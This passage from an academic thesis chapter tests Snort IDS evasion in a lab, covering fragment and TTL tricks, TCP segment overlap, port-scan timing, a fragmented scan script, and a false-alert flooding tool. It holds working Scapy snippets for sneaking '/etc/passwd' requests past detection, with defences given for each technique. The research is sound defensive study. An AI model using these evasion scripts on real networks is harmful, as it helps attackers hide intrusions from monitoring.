because of the latency of the intermediate network. The effective defensive mea-
sure is to remove packet fragments from the internal network completely. This
can be achieved by putting a node in the network which performs IP defragmen-
tation of all passing traffic.

5.1.5 Fragment resend


Packet fragments can be routed through different routes and be received in an
incorrect order or some of the fragments may get lost. If any of fragments is lost
it has to be resent. An attacker may intentionally send several fragments with the
same identification field and the same offset. Different operating systems handle
conflicting fragments differently. If the IDS is configured differently than the tar-
get host the attacker may exploit such difference to launch an insertion attack or
an evasion attack.
Snort uses frag3 preprocessor to handle the fragmentation. Frag3 makes Snort
independent on the underlying operating system and allows it to process frag-
ments according to policies which can be different for any IP address.
A. Client Windows XP SP2
The order of sending of packets is defined by the victim’s policy. In case of whole
fragment resend Windows prefer the first received fragment for defragmentation.

18.1 payload1 = “/etc/passwd\n“


18.2 first = fragment(ip/PUSH/payload1,fragsize=24)
18.3 payload1 = “/XXX/passwd\n“
18.4 second = fragment(ip/PUSH/payload1,fragsize=24)
18.5 send(first[0])
18.6 send(second[0])
18.7 send(second[1])

B. Client Debian Linux


Linux always prefers last received fragment.

39
5. ATTACKS IMPLEMENTATION

18.1 payload1 = “/etc/XXXXXX“


18.2 first = fragment(ip/PUSH/payload1,fragsize=24)
18.3 payload1 = “/etc/passwd“
18.4 second = fragment(ip/PUSH/payload1,fragsize=24)
18.5 send(first[1])
18.6 send(second[1])
18.7 send(second[0])

frag3 anomaly detection active


Conditions
Windows XP SP2
frag3 policy Windows Linux
C: A1, A2, A4 B, (C), D, E, F: A3
Generated alerts B, D, E, F: A3 Fragmentation overlap
Fragmentation overlap
Netcat output /etc/passwd /etc/passwd
Netcat termination Correct Correct
Result Detected Partial success

Table 5.3: Fragment resend Windows XP SP2

frag3 anomaly detection active


Conditions
Debian Linux 5.0.3
frag3 policy Windows Linux
B, (C), D, E, F: A3 C: A1, A2, A4
Generated alerts Fragmentation overlap B, D, E, F: A3
Fragmentation overlap
Netcat output /etc/passwd /etc/passwd
Netcat termination Correct Correct
Result Partial success Detected

Table 5.4: Fragment resend Debian Linux

In case of the Windows client and Linux frag3 policy the attack was not detected
primarily because the first segment contains a TCP header checksum field with an
incorrect value (checksum was calculated for /etc/passwd payload yet the ac-
tual payload of the packet defragmented on the IDS is /XXX/passwd). Hence the
C packet did not even generated the A3 alert. TCP checksum verification of pack-
ets can be disabled in the checksum_mode directive in snort.conf file. If so, alerts
A1, A2 and A4 would not be generated because of the wrong payload. The case
with the Debian client and the Windows policy is similar with /etc/passwd
and /etc/XXXXXX payloads.
This attack can be effective if used properly. Although Fragmentation overlap
warning was generated during every attempt, it is quite common in the real envi-
ronment and possibly it would be ignored by network administrators. Fragment

40
5. ATTACKS IMPLEMENTATION

resend can be used to alter the TCP header. Typically the attacker may force the
IDS to see a different port then what is actually used.
Frag3 provides some defense measures but its utilization is problematic. The
mapping between IP addresses and operating systems has to be done manually
by an operator. Settings are made in snort.conf file which is typically loaded dur-
ing the start of Snort so the change in configuration is not fallout-free. The frag3
solution is insufficient in real environments where hosts often change (typically
network segments which use DHCP and are intended for connections of note-
books) and for hosts behind NAT.
Umesh Shankar and Vern Paxson proposed a solution for this problem in their
paper “Active Mapping: Resisting NIDS Evasion Without Altering Traffic” [SP].
They implemented a Perl script which scans the network and for each host deter-
mines its characteristics. Discovered attributes are hop count, path MTU, whether
TCP RST packet is accepted only within receiver’s window, IP defragmentation
policy and TCP reassembly policy. These attributes then allow an automatic con-
figuration of frag3 and Stream5 preprocessors.

5.1.6 Fragment TTL


Time to live field of the IP header counts the number of routers the packet can
traverse. Each router resending the packet decreases the field by one. When the
value reaches zero the packet is dropped. Intrusion detection systems are usually
placed at the perimeter of the network. If there is at least one router between the
IDS and the victim the attacker can launch an insertion attack.
Packet with the malicious content is divided into several fragments so that
the malicious content is split. Attacker sends all fragments but one to the victim.
These fragments do not contain whole malicious content so the alert is not gener-
ated. Then the attacker sends a bogus fragment which has the identification field
and the offset field set to match the missing fragment. This bogus fragment has
a TTL field set such it is dropped by the router between the IDS and the victim.
IDS uses this bogus fragment to reassemble the packet. Finally the attacker sends
a correct fragment with the properly set TTL field.

18.1 payload_bogus = "bogusbogusb"


18.2 bogus = fragment(ip/PUSH/payload_bogus,fragsize=24)
18.3 first = fragment(ip/PUSH/payload1,fragsize=24)
18.4 bogus[1].ttl=1 # TTL_to_IDS + 1
18.5 send(first[0]) # order is important so the packet
18.6 send(bogus[1]) # is not reassembled prematurely
18.7 send(first[1])

The bogus fragment and the real fragment have to have the same length of pay-
load.

This attack is quite simple and also quite effective. Attacker can discover the dis-
tance in hops to the victim by the ping scan. Even if the IDS is not accessible from

41
5. ATTACKS IMPLEMENTATION

Conditions At least one router between IDS and victim


Generated alerts B, D, E, F: A3
Netcat output /etc/passwd
Netcat termination Correct
Result Success

Table 5.5: Fragment TTL

the external network there is a decent chance the attack will be successful if the
TTL field is set to the hop count value decreased by one. Several ways of defense
exist. Frag3 itself enables to set the target-based low TTL bound of fragments.
Any fragments with the TTL value equal to or lower than the threshold are not
checked for intrusions. Another method is to perform a traffic normalization of
packets coming into the network or even an IP defragmentation. Fragments with
significantly low TTL values can be either dropped or their TTLs might be in-
creased. Simplest solution is to deploy multiple probes in the network so as at
least one is placed in each subnet where possible targets are.

5.1.7 Packet TTL


TTL evasion technique which was used for fragments can be modified for full
packets. This allows the attacker to evade intrusion detection systems in networks
where IP fragments cannot be used. With packets as base data units the attacker
attempts to modify the data which is forwarded from TCP/IP stack to the appli-
cation. Malicious content is reassembled at the transport layer not the network
layer.
A. Alternative packet payload I
Each packet contains one TCP segment. First segment with payload /etc is sent
unmodified. Second segment contains bogus payload and its TTL value is low so
it is dropped between the IDS and the victim. Third segment is received both by
the IDS and the victim but the IDS drops it according to its Linux stream reassem-
bly policy.

4. payload1 = "/etc"
5. payload2 = "xxxxxxx"
6. payload3 = "/passwd"
7. attacker_mod1 = 0
8. attacker_mod2 = -7
22.1 ip.ttl = 1
22.2 send(ip/PUSH/payload2)
22.3 ip.ttl = 64

Stream5 anomaly detection generates warning “Bad segment, adjusted size <=0”
for the second segment. The second segment is 7 bytes long while the third seg-
ment is shifted by 7 bytes to the beginning of the data stream. The warning is

42
5. ATTACKS IMPLEMENTATION

generated because the second segment would be effectively overwritten by the


third segment in IDS’s buffer. IDS reassembles the traffic as /etc/xxxxxxx ac-
cording to the Linux policy.
B. Alternative packet payload II
Warning can be avoided by dividing second segment overlay among the first and
the third segment. The victim is not affected.

4. payload1 = "/etc"
5. payload2 = "xxxxxxx"
6. payload3 = "/passwd"
7. attacker_mod1 = -3
8. attacker_mod2 = -4
22.1 ip.ttl = 1
22.2 send(ip/PUSH/payload2)
22.3 ip.ttl = 64

First 3 bytes of the second segment are put under the first segment; remaining 4
bytes are overwritten by the third segment. Stream5 anomaly detection generates
warning “Limit on number of overlapping TCP packets reached” for the second
segment. IDS reassembles the traffic with its Linux policy as /etcxxxxswd.
C. Alternative packet payload III
The previous attack modification only led to the change of the generated warning.
Another modification extends the second segment so it is not overwritten by the
third.

4. payload1 = "/etc"
5. payload2 = "xxxxxxxxxx"
6. payload3 = "/passwd"
7. attacker_mod1 = 0
8. attacker_mod2 = -10
22.4 ip.ttl = 1
22.5 send(ip/PUSH/payload2)
22.6 ip.ttl = 64

The third segment overwrites first 7 bytes of the second segment. Bad segment
warning is not generated because the whole second segment is not overwritten.
Overlap limit reach warning is not generated because only one overlap between
segments two and three is in place. IDS follows the Linux policy and reassembles
the traffic as /etcxxxxxxxxxx.
Marks D1 and D64 designate packets with TTL equal 1 and 64 respectively.
Warnings may indicate outgoing attack but in the real environment warnings are
quite common and would probably be ignored by security administrators.
Defense against TTL related attacks is more difficult at the packet level than
at the fragment level as Snort has no configuration options which would allow

43
5. ATTACKS IMPLEMENTATION

Client OS: Debian Linux 5.0.3


Stream5 policy: Linux
Conditions
Stream5 anomaly detection active
Stream5 overlap_limit 1
Case A B C
B, C, D1, D64, F: A3 B, C, D1, D64, F: A3 C: A1, A2, A4
Generated alerts
Bad segment Overlap limit reached
Netcat output /etc/passwd /etc/passwd /etc/passwd
Netcat termination Correct Correct Correct
Result Partial success Partial success Success

Table 5.6: Packet TTL malicious content

ignoring packets with a low TTL value. It can be set only in the rule definition
which is common for all monitored hosts. Other defensive measures are the same
as mentioned in section 5.1.6.
D. RST segment
Attacker establishes a TCP session with the victim. During the communication
she sends a RST segment with a low TTL field value. IDS supposes the session
was terminated and deletes the session record. Consequently the attacker can
send malicious packets at will.

4. payload1 = "bogus"
5. payload2 = ""
6. payload3 = "/etc/passwd"
22.1 ip.ttl = 1
22.2 PUSH.flags = "R"
22.3 send(ip/PUSH/payload2,inter=70)
22.4 PUSH.flags = "PA"
22.5 ip.ttl = 64

First packet is send as a decoy only to confirm the session was established how-
ever it also could contain a part of the malicious content. Second packet contains
the TCP segment with RST flag set. It has a low TTL value and will not reach the
victim. After that the attacker has to wait because Snort observes the traffic for
any signs the connection was not terminated. Subsequent communication is still
monitored but is not considered a part of the established session.

Although alerts A1 and A2 were generated the attack itself was successful. String
/etc/passwd was sent unmodified but the session was not in the established
state. Therefore the alert A4 was not generated. This technique cannot be used
to avoid network layer signatures but is quite easy and effective for transport
layer signatures. The time which must the attacker wait must be longer than the
Stream5’s TCP timeout. Setting the high timeout as a defensive measure is a con-

44
5. ATTACKS IMPLEMENTATION

Client OS: Debian Linux 5.0.3


Stream5 policy: Linux
Conditions Stream5 anomaly detection active
Stream5 overlap_limit 1
Stream5 TCP timeout 60
Case D
E: A1, A2
Generated alerts
B, C, D, F: A3
Netcat output bogus/etc/passwd
Netcat termination Correct
Result Success

Table 5.7: Packet TTL RST segment

troversial step. High value leaves Snort prone to the denial of service attack which
is aimed on the session buffer exhaustion. Possible solution is to send a RST seg-
ment from the IDS to the victim any time it detects a RST segment supposing
from the attacker to the victim, thus making sure the RST segment reached the
host. Previously discussed packet TTL defensive methods are also applicable.
All TTL attacks can be automated and be used by worms with a certain prob-
ability of successful detection avoidance. Also they are independent on operating
systems of the victim and the IDS.

5.1.8 Maximum transmission unit


Maximum transmission unit is the size of the largest data unit which can be trans-
mitted over the interface. Attacker discovers MTU of the path to the victim and to
the IDS. If MTUs of those paths are not equal the attacker can launch an insertion
or an evasion attack. I present the insertion type.
For the purpose of the testing MTU of the line between the IDS and victim
was set on 100 bytes

ifconfig eth1 mtu 100

The attacker sends the first packet in a normal way. Second packet has “Don’t
fragment” bit set and is intentionally created to be larger than MTU of the path
to the victim. Second packet is not received by the victim. Third packet delivers
the second part of the malicious content and is linked with the first packet in the
victim’s TCP stack.

4. payload1 = "/etc"
5. payload2 = "x"*100
6. payload3 = "/passwd"
7. attacker_mod1 = 0
8. attacker_mod2 = -100
9. ip = IP(src="10.0.1.2",dst="10.0.2.5",flags="DF")

45
5. ATTACKS IMPLEMENTATION

Client OS: Windows XP SP2


Stream5 policy: Windows
Conditions
Stream5 anomaly detection active
MTU(Attacker, IDS) > MTU(Attacker, Victim)
Generated alerts B, D, E, F: A3
Netcat output /etc/passwd
Netcat termination Correct
Result Success

Table 5.8: Maximum transmission unit insertion attack

Router reacts on the second packet by sending an “ICMP Destination unreachable


(Fragmentation needed)” message to the attacker.

MTU evasion technique is not common. Current environments are usually built
entirely upon Ethernet standard with a constant MTU value where this attack
is not applicable. Difficulty of launching this attack is quite low. Attack itself is
operating system independent. In complex environments the best defense is to
put an IDS probe into each monitored subnet. Also traffic normalization (packets
bigger than a certain threshold are discarded) is possible.

5.1.9 Simple segmentation


Malicious content is divided into several segments (and therefore into several
packets). Stream reassembly is usually performed only on end points so the IDS
cannot detect the malicious data being transmitted if it works on a per-packet
basis.

2. dest_port = 23
4. payload1 = "/etc"
5. payload2 = "/pa"
6. payload3 = "sswd\n"

Conditions Stream5 anomaly detection active


Client OS Active on port 23 Inactive on port 23
C: A1, A2, A4 B, C, D, E, F: A3
Generated alerts B, C, D, E, F: A3
Netcat output /etc/passwd /etc/passwd
Netcat termination Correct Correct
Result Detected Success

Table 5.9: Simple segmentation

Segmentation attack is operating system independent. It is simple and yet poten-


tially dangerous but can be blocked by a trivial change in the Snort’s configura-

46
5. ATTACKS IMPLEMENTATION

tion - by launching the Stream5 preprocessor’s reassembly. However TCP stream


reassembly is a potentially resource-demanding operation. Hence it is usually
performed only on explicitly specified ports. By default Stream5 preprocessor is
configured to reassembly the traffic coming to several dozen ports, both client
and server side. TCP reassembly should be performed on as many ports as the
performance allows.

5.1.10 Segment overlay

The order in which the TCP data is sorted is specified by the sequence number
in the TCP header. Ambiguities in protocol definitions led to multiple different
implementations of the TCP reassembly. Differences between implementations
can be exploited by the attacker. Differences can be often found in how overlap-
ping segments are handled, particulary whether the first received data or the last
received data is preferred.
A. Client OS: Windows XP, Stream5 reassembly policy: Last
Second segment is partially overlapping the first segment. Attacker exploits Snort’s
misconfiguration. If it is set to use a different TCP stream reassembly policy than
the one which is actually used on the victim the attacker may cause inconsisten-
cies between how the traffic is reassembled on the IDS and on the victim.

4. payload1 = "/etc"
5. payload2 = "xx/passwd"
7. attacker_mod1 = -2

IDS interprets the traffic as /exx/passwd but the victim interprets the traffic as
/etc/passwd.
B. Client OS: Windows XP, Stream5 reassembly policy: Linux
Policy Last which was used in the previous attack variant is not utilized by any of
common operating systems. Linux policy is very similar to Windows XP policy
so the traffic modification is more complex.

4. payload1 = "/etc"
5.1 payload21 = "/pass"
5.2 payload22 = "/xxxxwd"
6. payload3 = "\n"
7. attacker_mod1 = 0
23.1 send(ip/PUSH/payload21)
23.2 send(ip/PUSH/payload22)
24. num_seq = num_seq + len(payload22)

IDS interprets the traffic as /etc/xxxxwd but victim interprets the traffic as
/etc/passwd.

47
5. ATTACKS IMPLEMENTATION

Stream5 anomaly detection active


Conditions Stream5 TCP reassembly active
Stream5 overlap_limit 1
Client OS: Windows XP SP2
Case A B
Stream5 policy Last Linux
Generated alerts B, C, D, E, F: A3 B, C, D, E, F: A3
Netcat output /etc/passwd /etc/passwd
Netcat termination Correct Correct
Result Detected Success

Table 5.10: Segment overlay

Segment overlay attacks are not very easy to implement. Moreover Stream5 pre-
processor enables target-based TCP reassembly and with proper configuration
these attacks are made impossible. The major setback when defending against
them is the passive mapping of policies. Policy for each host or subnet is config-
ured in the Snort’s configuration file and has to be altered manually.

5.2 Port scan detection evasion


Port scans are an integral part of the attack reconnaissance and also some of the
most often attacks ever. Attackers use them to discover open ports on hosts. There
are two types of port scans, horizontal and vertical. When attacker probes many
ports on a relatively small number of hosts we call it the vertical port scan. Oppo-
site is the horizontal port scan where many hosts are probed on a small number
of ports. Horizontal port scanning is often used by viruses to identify more pos-
sible victims. Port scan discovery is therefore a very important part of intrusion
detection.
Detection is based on the recognition of the quite specific traffic produced by
a scanning computer. Attacker opens / half-opens many connections to differ-
ent hosts on the network or to a single host on many ports. Most responses are
negative with TCP RST segments and ICMP Destination Unreachable messages
being the most common. Scanner is recognized from connection count, IP count,
port count, IP/port pairs or negative responses count. Advanced methods use
entropy and traffic models as a basis for analysis.

5.2.1 Methodology
Each portscan evasion technique was tested during a scan of ports 1 to 1024 on a
Windows XP SP2 machine. There were three open ports: 135, 139 and 445. Tests
were performed both with and without running firewall. In every scan each des-
tination port was probed only once (with an exception of destination port ran-
domization). The testing was performed in the virtual environment with no other

48
5. ATTACKS IMPLEMENTATION

traffic.
Evasion technique was evaluated successful (marked “Success”) if both these
conditions were satisfied at once:

• Port scan was not detected by the intrusion detection system.

• Port scan was successful in revealing open ports.

Scans and their modifications were implemented using Scapy. Full scripts can
be found in Appendix B. All three sfPortscan sensitivity levels were checked.
Following sfPortscan configuration was used:
preprocessor sfportscan: proto { all } \
memcap { 10000000 } \
sense_level { high } \
logfile { /etc/snort/sfportscan.log } \
detect_ack_scans \
include_midstream

5.2.2 No evasion technique


I tested Snort’s detection capability against three common types of port scans –
SYN scan, FIN scan and ACK scan with no evasion technique used. The only
difference between sent packets was in the TCP flag value which was set accord-
ingly to the name of the scan. Source ports of all packets were fixed on value 5000,
destination ports were sequentially raising from 1 to 1024. Scapy was set to send
packets at maximum speed with no delays. Table 5.11 summarizes what types of
port scans were reported. TCPP stands for “TCP Portscan” and TCPFP stands for
“TCP Filtered Portscan”.
As the table shows sfPortscan was unable to detect FIN scan and ACK scan
at any level, although according to the Snort manual it should be capable of both
(with detect_ack_scans parameter set). As a consequence all further testing was
limited exclusively to SYN scans. No result field value indicates the scan did not
give any new information about the target system because the probe response
was similar both for open and closed port (RST or RST+ACK segment). This be-
havior is specific for the testing Windows XP SP2 machine and hosts with other
operating systems may perform differently.

sfPortscan Low Medium High


Firewall On Off On Off On Off
SYN scan Success TCPP TCPFP TCPP TCPFP TCPP
FIN scan Success No result Success No result Success No result
ACK scan Success No result Success No result Success No result

Table 5.11: Port scan detection without evasion techniques

49
5. ATTACKS IMPLEMENTATION

5.2.3 Timing attacks


Port scan detection is not purely signature-based. Packets which may or may not
be a part of a port scan are very common in ordinary networks. We use threshold
values to decide if the current number of occurrences is a sign of a scan or not.
Naturally these thresholds are checked only in a certain time window. Attackers
may perform their scan during such time that thresholds are never reached.
sfPortscan uses different time intervals for each sensitivity level. Low setting
searches for port scans in 60 seconds window, medium setting in 90 seconds win-
dow and high setting in 600 seconds window. That also means higher settings
cause much more false positives than lower settings. Tracking the changes in the
amount of false positives in the real environment was not a part of the survey.
Table 5.12 summarizes what attacks have been detected during sample timing at-
tacks. Variable X denotes the number of seconds between each two consecutive
packets.

sfPortscan Low Medium High


Firewall On Off On Off On Off
X = 76 Success Success Success Success Success Success
X = 65 Success Success Success Success Success TCPP
X = 16 Success Success Success Success Success TCPP
X = 15 Success TCPP Success Success Success TCPP
X = 6.5 Success TCPP Success Success Success TCPP
X = 6.3 Success TCPP Success TCPP Success TCPP
X = 3.1 Success TCPP Success TCPP Success TCPP
X = 3.0 Success TCPP Success TCPP TCPFP TCPP
X = 0.65 Success TCPP Success TCPP TCPFP TCPP
X = 0.47 Success TCPP Success TCPP TCPFP TCPP
X = 0.44 Success TCPP TCPFP TCPP TCPFP TCPP
X = 0.33 Success TCPP TCPFP TCPP TCPFP TCPP

Table 5.12: Port scan timing attacks

Two distinct trends can be observed. First, avoiding detection is easier if the at-
tacker scans ports on a host which is firewalled. Second is somewhat unexpected
result when we try to scan non-firewalled machine and sfPortscan sensitivity is
set to Medium. This setting is easier to exploit than both High and Low sensitivity
levels.
Both observations are because of two different detection methods in sfPortscan
preprocessor. Contradictory to sfPortscan manual, which states only the connec-
tion count is used at Medium and High sensitivity setting, actually both the con-
nection count and the negative responses count are utilized. The only difference
is in threshold values for each. An alert is generated if any of thresholds at the
particular level is exceeded. Table 5.13 summarizes measured thresholds for each
sensitivity level.
If the host is firewalled the number of negative responses is quite small because

50
5. ATTACKS IMPLEMENTATION

sfPortscan level Low Medium High


Connection count threshold None 200 200
Negative responses count threshold (α) 5 14 9
Observed interval (β) 60 seconds 90 seconds 600 seconds

Table 5.13: sfPortscan preprocessor detection thresholds

most of them are dropped by the firewall. So in that case usually the connection
count threshold is to be avoided. Conversely non-firewalled hosts produce a lot
of responses, most of them negative, and negative responses threshold is usually
exceeded. We can derive relation between X, α and β:

X > {Xconn = bβ/200c; Xneg = bβ/αc}

Table 5.12 shows that with a sufficient available time any port scan can be hidden
from detection by timing attacks. However for practical reasons lower values of
X are preferred as lower X means the shorter scan duration. Nmap with default
configuration scans 1715 ports. With the smallest safe interval of 70 seconds the
whole scan takes more than 33 hours to complete which is usually unacceptable
even if only one probe is sent to each destination port. However in current net-
works with almost every host being equipped with a local firewall the key value
is 3 seconds for each packet as it is the slowest detectable sending rate. With that
setting the Nmap set of ports is scanned in less than 90 minutes (or less than 3
hours if each port is probed more than once). It is still too high for automated
scans by viruses which rely on a quick spread but it already can be acceptable for
hackers and knowledgeable attackers.

5.2.4 Port scan characteristics modification


Port scan is a stream of packets which seemingly do not relate to each other. How-
ever there are some properties common to all port scans (high number of sessions
coming from a single host or similar source ports for many sessions). Altering
of these parameters may lead to the scan being undetected depending on the
method which is used on the IDS for detection.
Source port number randomization
In case of a vertical scan most port scanning tools use a fixed source port num-
ber for all probes. Such setting causes the source host to have a very low ratio
of source ports to destination ports among host’s sessions. Intrusion detection
systems may be configured to count ratios and report alerts if thresholds are ex-
ceeded. By randomizing source ports ratios can be increased to be as high as 1:1.
Destination port order randomization
Some scanning tools scan given range of destination ports simply by increment-
ing the value of the destination port for each packet they send. Intrusion detection

51
5. ATTACKS IMPLEMENTATION

systems may be set to look for sequences of ports in some time window. Random-
izing the order in which ports are probed makes the scan go undetected.
Multiple sources emulation
The attack may go undetected if an attacker can persuade the IDS that there are
many scanning hosts. Attacker may use decoys or a fully distributed scanning.
Decoys are packets with spoofed source IP addresses. Attacker never receives re-
sponses from decoy probes but if the scan is detected the victim or the IDS cannot
determine which source IP address belongs to the attacker. Since the decoy scan
is detected every time (because the attacker’s machine must perform whole scan-
ning in order to get full results) it is not a part of this survey. Distributed port scan-
ning means the attacker controls several machines. She divides the destination
ports pool among them in such a way that none of them exceeds preset thresh-
olds for the port scan detection. Nmap port scanner was used for the distributed
port scan testing. Several new types of sfPortscan alerts were propagated: TCP
Distributed Portscan (TCPDistP), TCP Filtered Decoy Portscan (TCPFDecP), TCP
Filtered Distributed Portscan (TCPFDistP) and TCP Decoy Portscan (TCPDecP).

sfPortscan Low Medium


Firewall On Off On Off
Source port number
Success TCPP TCPFP TCPP
randomization
Destination port order
Success TCPP TCPFP TCPP
randomization
Distributed port scan
Success TCPP TCPFDecP TCPP
2 sources
Distributed port scan
Success TCPDecP TCPFDecP TCPDecP
5 sources

Table 5.14: Port scan characteristics modification I

sfPortscan High
Firewall On Off
Source port number
TCPFP TCPP
randomization
Destination port order s
TCPFP TCPP
randomization
Distributed port scan
TCPFDecP TCPP
2 sources
Distributed port scan TCPFDistP TCPDistP
5 sources TCPFP TCPP

Table 5.15: Port scan characteristics modification II


Intrusion detection evasion techniques based on changing the overall appearance
of port scans were proven ineffective as Snort had no problem revealing attacks

52
5. ATTACKS IMPLEMENTATION

disguised with them. Every port scan which was detected without using them
was also detected with using them. The only recorded differences were in types
of alerts which were generated.

5.2.5 Packet level evasion


The goal of the packet level evasion is to make the IDS misinterpret each packet
separately. Intrusion detection system with an incorrect input is unable to rec-
ognize a port scan. These techniques were discussed in section 5.1 as a general
approach to the intrusion detection evasion. Here I present a specific example
how they can be used to hide a port scan from intrusion detection system. Pro-
posed method exploits the difference between fragment reassembly on Windows
and Linux operating systems and makes several changes in the TCP header. Mul-
tiple simultaneously used evasion methods drastically decrease the probability of
detection [GC]. I assume the victim is running Windows XP SP2 and Snort uses
frag3 Linux policy. The code in Scapy which creates the port scan is following:

portscan = []
ip = IP(dst="10.0.2.5")
tcp_bogus = TCP(sport=5000,dport=80,flags="PA")
last = fragment(ip/tcp_bogus,fragsize=16)
for x in range (1,1024):
tcp = TCP(sport=5000,dport=x,flags="S")
first = fragment(ip/tcp,fragsize=16)
portscan.append(first[0])
portscan.append(last[0])
portscan.append(first[1])
ans,unans = sr(portscan)

Attacker creates a simple SYN scan traffic. The target of the scan is an IP address
10.0.2.5, a source port is 5000 and destination ports are in range from 1 to 1024. At-
tacker also creates a bogus packet which has a destination port 80 and PSH+ACK
flag set. Both the bogus packet and ordinary packets are fragmented. Each of
them is divided into two fragments. Fragments are so small that the TCP header
is cut. First fragment contains source port, destination port, sequence number,
acknowledgement number, TCP flags and window size.
All fragments have the same identification so the IDS and the victim will as-
sume they are legitimate and will process them according to their policy. Win-
dows policy always prefers the first received data whereas the Linux policy prefers
the last received data. Windows victim will reassemble packets 1A1B, 2A2B, 3A3B
etc. IDS will reassemble packets XA1B, XA2B, XA2B etc where XA represents the
first fragment of the bogus packet.
Port scan detection is made difficult because:

• TCP checksums on packets which are received by the IDS are incorrect and
packets should be dropped.

53
5. ATTACKS IMPLEMENTATION

Figure 5.2: Port scan packet level evasion

• The connection count is low because the IDS perceives all packets as headed
for port 80.

• The scan does not appear as SYN scan because the PSH+ACK flag is seen
instead of the SYN flag.

• Possible negative responses from victim cannot be paired with appropriate


requests.

sfPortscan Low Medium High


Firewall On Off On Off On Off
Fragmentation scan Success Success Success Success Success Success

Table 5.16: Fragment overlap port scan

The proposed scan modification was not detected by Snort under any tested con-
ditions (still assuming misconfiguration of frag3 reassembly policy). There are
two limitations. First, the results must be collected via an ordinary packet sniffer;
Scapy itself is not capable of matching incoming responses with requests. Second,
in order for this attack to succeed the attacker must have a certain prior knowl-
edge about the target environment, particularly what operating system is used on
the target. However these limitations are example-specific and may not apply in
other cases of the packet level evasion. Defense is problematic because every part

54
5. ATTACKS IMPLEMENTATION

of the attack has to be countered. Methods are the same as discussed previously
in Chapter 5.
Summary
Simple port scan evasion techniques (destination port order randomization, source
port randomization, multiple sources emulation) has been already rendered ob-
solete. Prinicpially every IDS can be evaded by the means of timing attack. The
biggest concern is whether the evasion takes a longer time than what is practical
for a possible attacker. By combining of several ordinary evasion methods with
specific port scan evasion methods the probability of detection avoidance can be
increased. Such attacks can be environment and even host specific so their general
description and recognition is virtually impossible.

5.3 System administrators overwhelm

Overwhelming system administrators is quite specific attack because it targets


people not the IDS itself. It belongs among denial-of-service attacks. Attacker’s
goal is to provide administrators with many alerts and hide the real attack in the
resulting confusion. Since these alerts have only a decoy purpose I will reference
them as false positives. From attacker’s point of view several properties of gener-
ated alerts are desirable:

• Alert types are diversified. If all false positives are from a limited class of
alerts then false positives can be filtered out.

• The order of false positives is random. If false positives are received always
in the same order then such repetitive sets of alerts can be filtered out.

• A subset of the false positives set is of the same class as the attack which is
to be hidden. Otherwise if only specific false positives are produced they
may be ignored.

• Alerts are generated for the majority of hosts in the network. In this case
hiding the identity of the attacker is crucial. Spreading attacks across the
network disallows the easy source detection.

Several tools have been created to produce false positives for Snort (e.g. Sneeze,
fpg, Snot). For Snort the most known is Stick [Cor01]. Stick parses Snort’s rule
files, creates matching packets and sends them in a random order to the specified
network. However packets have the wrong TCP checksum, UDP packets are mal-
formed and most of all Stick is not able to perform 3-way handshake or maintain
the context of the session. Against Snort with default configuration the Stick is
unable to produce any false positives.

55
5. ATTACKS IMPLEMENTATION

5.3.1 Novaburn
I created a script which parses given file with Snort rules, picks suitable rules,
creates packet objects in Scapy accordingly and send them to the target host. Full
script can be found in Appendix C. Basic methods are described.
CreatePackets(filename)
CreatePackets function opens the rules file specified in the filename and creates
matching packets. Rules with the content specified by regular expressions and
rules which check traffic going from server to the attacker are not used. Ports
are either read from the file or given random values. Source IP address, desti-
nation IP address and TCP flags are copied from global variables source_ip,
destination_ip and setflag. The output of the function is an array of pack-
ets.
CreateJumbo(SourcePacketArray,ip,tcp,Count)
CreateJumbo function creates packets which generate multiple alerts at once.
Output is an array of packets of the size Count. Each packet’s payload is a permu-
tation of payloads of all packets from SourcePacketArray array. Header fields’s
values are replaced with values from ip (IP layer) and tcp (TCP layer).
NoHandshakeRush(PacketArray,Count)
NoHandshakeRush function sends packets from PacketArray. The function
terminates after the Count number of packets has been sent. Packets are sent in
the random order and can be sent repeatedly. Header fields’ values are kept un-
changed. Sent packets are not parts of established TCP sessions and as so might
be ignored by the IDS. This type of false positives generation is suitable for IP or
UDP layer rules.
SingleHandshakeRush(PacketArray,SrcPort,HostIP,DestPort,Count)

SingleHandshakeRush function establishes a TCP session with the host at the IP


address HostIP on the port DestPort. Then it sends packets from PacketArray
in the random order until it reaches Count. Header values of packets are modi-
fied to comply with the session. This type of false positives generation is suitable
for the TCP layer.

5.3.2 Methodology
False positives generation was tested on rules in telnet.rules (updated 2009/01/27)
file and tftp.rules (updated 2008/07/22) file from the current Snort rules set. Tel-
net rules check TCP traffic heading for port 23. TCP session must be in an estab-
lished state in order to generate alerts. Tftp rules check UDP traffic heading for
port 69.
Snort’s rule detection capabilities were limited only to rules which were used
as the source of packets. Preprocessors were active with default configuration.

56
5. ATTACKS IMPLEMENTATION

During each testing 15,000 packets were sent using Novaburn script to the
target Windows XP machine. For telnet packets the netcat was listening on port
23. To avoid dependence on the hardware specification the success of each attack
was assessed relatively to other attacks with average the alert per second ratio as
a comparison metric. Two types of packets were tested - simple packets each of
which was created from a single Snort rule and jumbo packets which contained
payload of all rules. Two hundred of different jumbo packets were created. Snort
event queue size was left unchanged.
Novaburn was used with following commands:

• Handshake – 3WH was performed prior to sending.


packetarr = CreatePackets("telnet.rules")
SingleHandshakeRush(packetarr,src_ip,dst_ip, \
dst_port,15000)

• No handshake – packets were sent as created.


packetarr = CreatePackets("tftp.rules")
NoHandshakeRush(packetarr,15000)

• Jumbo – 3WH was performed prior to sending.


packetarr = CreatePackets("telnet.rules")
ip = IP(src=src_ip,dst=dst_ip)
tcp = TCP(dport=dst_port)
jumbo = CreateJumbo(packetarr,ip,tcp,200)
SingleHandshakeRush(jumbo,"10.0.1.5","10.0.2.5", \
23,15000)

• No handshake jumbo – jumbo packets were sent as created.


packetarr = CreatePackets("tftp.rules")
ip = IP(src=src_ip,dst=dst_ip)
tcp = TCP(dport=dst_port)
jumbo = CreateJumbo(packetarr,ip,tcp,200)
NoHandshakeRush(jumbo,15000)

Similar tests with 3 simultaneous instances of Scapy were also performed to ver-
ify the maximum transmission rate of Scapy.

5.3.3 Results
Each test was performed 5 times and measured values were averaged.
During the measurement I noticed packets created from the telnet rule set pro-
duced “(ftp_telnet) Telnet Subnegotiation Begin Command without Subnegoti-
ation End” warning. This behavior is enabled by default so warnings were in-
cluded in results. Final measurement with the ftp_telnet preprocessor disabled

57
5. ATTACKS IMPLEMENTATION

Source rules file Duration Alerts Transmitted


telnet.rules 75 s 19660 0.94 MB
telnet.rules – Jumbo 91 s 63157 2.46 MB
telnet.rules – 3x 133 s 55397 2.82 MB
telnet.rules – 3x Jumbo 308 s 151805 7.38 MB
